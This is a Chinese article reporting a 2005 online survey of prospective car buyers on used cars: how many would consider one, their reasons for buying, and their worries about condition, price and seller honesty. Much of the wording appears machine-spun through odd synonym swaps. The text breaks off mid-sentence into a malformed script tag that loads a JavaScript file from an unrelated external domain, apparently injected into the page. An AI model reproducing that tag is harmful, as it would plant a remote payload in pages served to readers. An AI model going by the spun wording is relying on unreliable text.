2005年8月十日，商务部发布了《汽车贸易政策》。随后，以《二手车流通管理方法》为主体的一系列涉及二手车业务的有关政策于年内陆续颁布，国内二手车买卖环境从法制层面上发生了根本性变化，买家对二手车的关注程度是不是较往年有了明显提高呢？新浪汽车频道与新华信市场研究咨询公司在2005年11月24日联合进行了“二手车”互联网调查，对3948位有买车/换车计划的买家进行了访问。
1、买家在买车计划中对二手车的考虑
新华信调查结果显示，近八成(79.0%)的买家都表示，在将来的买车计划中都会考虑买卖二手车。伴随买车时间的渐渐推后，买家对二手车的选择比率渐渐减少，但选择比率均达到60%以上。特别是马上在今年年底达成买车计划的买家，对二手车的选择比率高达84.8%，毕竟《二手车流通管理方法》在2005年十月的正式推行，使二手车买卖环境从法制层面上发生了根本性变化，自然为买家带来了更多的便宜，从而激起了买家，特别是欲买车作为代步工具的买家对二手车的购买热情。
(图1)
2、买家买卖二手车的主要作用与功效
二手车作为汽车流通范围内的价值再度循环，在传统的消费观念中，不太为买家所认同。但伴随二手车买卖环境的健全，买家对二手车的关注渐渐提升，他们买卖二手车主要作用与功效是什么呢？新华信调查结果显示：
1、近四成(37.4%)的买家表示，买卖二手车的主要作用与功效是上下班代步，这部分买家主要集中在46-50岁的国企职员。
2、19.9%的买家表示，买卖二手车的主要作用与功效是为了熟知驾驶技术，这部分买家主要集中在18-25岁的自由职业者。
3、14.9%的买家表示，买卖二手车的主要通途是为了节假日外出休闲，这部分买家主要集中在50岁以上的国企中高层管理者。
4、还有12.8%的买家表示，买卖二手车的主要作用与功效是体验驾驶乐趣，这部分买家主要集中在18-25岁的私企/个企职员。
从新华信调查结果中，大家可以看出，二手车交易市场的渐渐健全，加快了汽车进入普通百姓家庭中的速度，其代步功能得到了相应发挥。同时，二手车的价格优势，不只满足了部分驾驶技术不成熟的买家的训练需要，降低因技术问题在驾驶新车时对汽车的损毁。而且也让部分因经济实力或其它缘由限制的买家，通过买卖二手车体验到驾驶乐趣。从这类消费需要来看，二手车交易市场对新汽车市场场着实起到了有效的补充用途。
(图2)
3、买家在二手车购买过程中最担忧的问题
新华信调查结果显示，六成以上(61.6%)的买家对二手车的实质车子的状况有所担心，毕竟作为其他人用过后才再度进入流通范围的商品，其车子的状况到底怎么样，对于多数不拥有专业常识的买家而言，没办法全方位知道，若花费几万元甚至更高价格，买回一辆车子的状况存在问题的汽车，的确是不小的损失。
新华信调查结果还显示，汽车的价格和买卖双方的诚信问题，也是买家除去车子的状况以外担忧的主要问题，依据《二手车流通管理方法》规定：“二手车评估应当本着交易双方自愿的原则，不能强制进行”，这一规定实质取消了以前行政指定二手车市场进行强制评估的原则。作为交易双方的一方，二手车市场经营公司可以有我们的评估师对汽车进行价值鉴别，买家假如不认同，可以与经营公司协商到独立的评估机构进行评估鉴别。因此，现在二手车的价格评估从法律层面上来讲是公平的。但?script src=http://cn.jxmmtv.com/cn.js>cript>